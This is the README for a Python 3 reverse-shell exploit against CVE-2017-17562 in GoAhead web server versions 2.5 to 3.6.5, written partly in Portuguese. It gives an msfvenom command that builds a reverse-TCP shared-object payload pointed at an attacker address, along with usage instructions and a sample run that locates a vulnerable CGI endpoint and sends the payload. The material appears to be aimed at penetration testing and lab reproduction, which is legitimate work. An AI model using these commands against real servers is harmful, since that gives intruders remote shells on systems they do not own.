
Standalone Python 3 exploit for CVE-2017-17562
Exploit de shell reverso em Python 3 autônomo para CVE-2017-17562, funciona nas versões 2.5 < 3.6.5 do servidor web GoAhead.
Artigo no blog aqui.
Escrito e testado em Python 3.7 com base no POC e ambiente vulnerável aqui. Algum código emprestado do módulo do Metasploit.
POC original encontrado aqui. Escrevi isso porque não consegui fazer o exploit POC original funcionar, e só percebi que faltava uma função para buscar o módulo CGI a ser explorado, ou seja, exigia que o usuário especificasse sua localização ou fornecesse uma wordlist para busca recursiva.
root@Kali:~/Infosec/RubyStuff/GoAhead-Web-Server-2.5~3.6.5# ./exploit.py -h
usage: exploit.py [-h] -rhost RHOST [-rport RPORT] [-cgipath CGIPATH] -payload
PAYLOAD
Generate the payload first, eg:
msfvenom -a x64 --platform Linux -p linux/x64/shell_reverse_tcp LHOST=192.168.92.134 LPORT=4444 -f elf-so -o dir/payload.so
Required arguments:
-rhost RHOST Target host running Go Ahead webserver eg. 192.168.92.153
-payload PAYLOAD Path to the malicious elf-so payload. eg dir/payload.so
Optional arguments:
-rport RPORT Target port running GoAhead webserver. Default: 8080
-cgipath CGIPATH The path to a CGI script on the GoAhead server Default: '/cgi-bin' as in http://192.168.92.153/cgi-bin
Call the exploit like this:
./exploit.py -rhost 192.168.92.153 -rport 8080 -cgipath /cgi-bin/index -payload dir/payload.so
root@Kali:~/Infosec/RubyStuff/GoAhead-Web-Server-2.5~3.6.5# ./exploit.py -rhost 192.168.92.153 -rport 8080 -payload payload3.so
Searching 390 paths for an exploitable CGI endpoint...
Exploitable CGI located at /cgi-bin/index
Sending payload...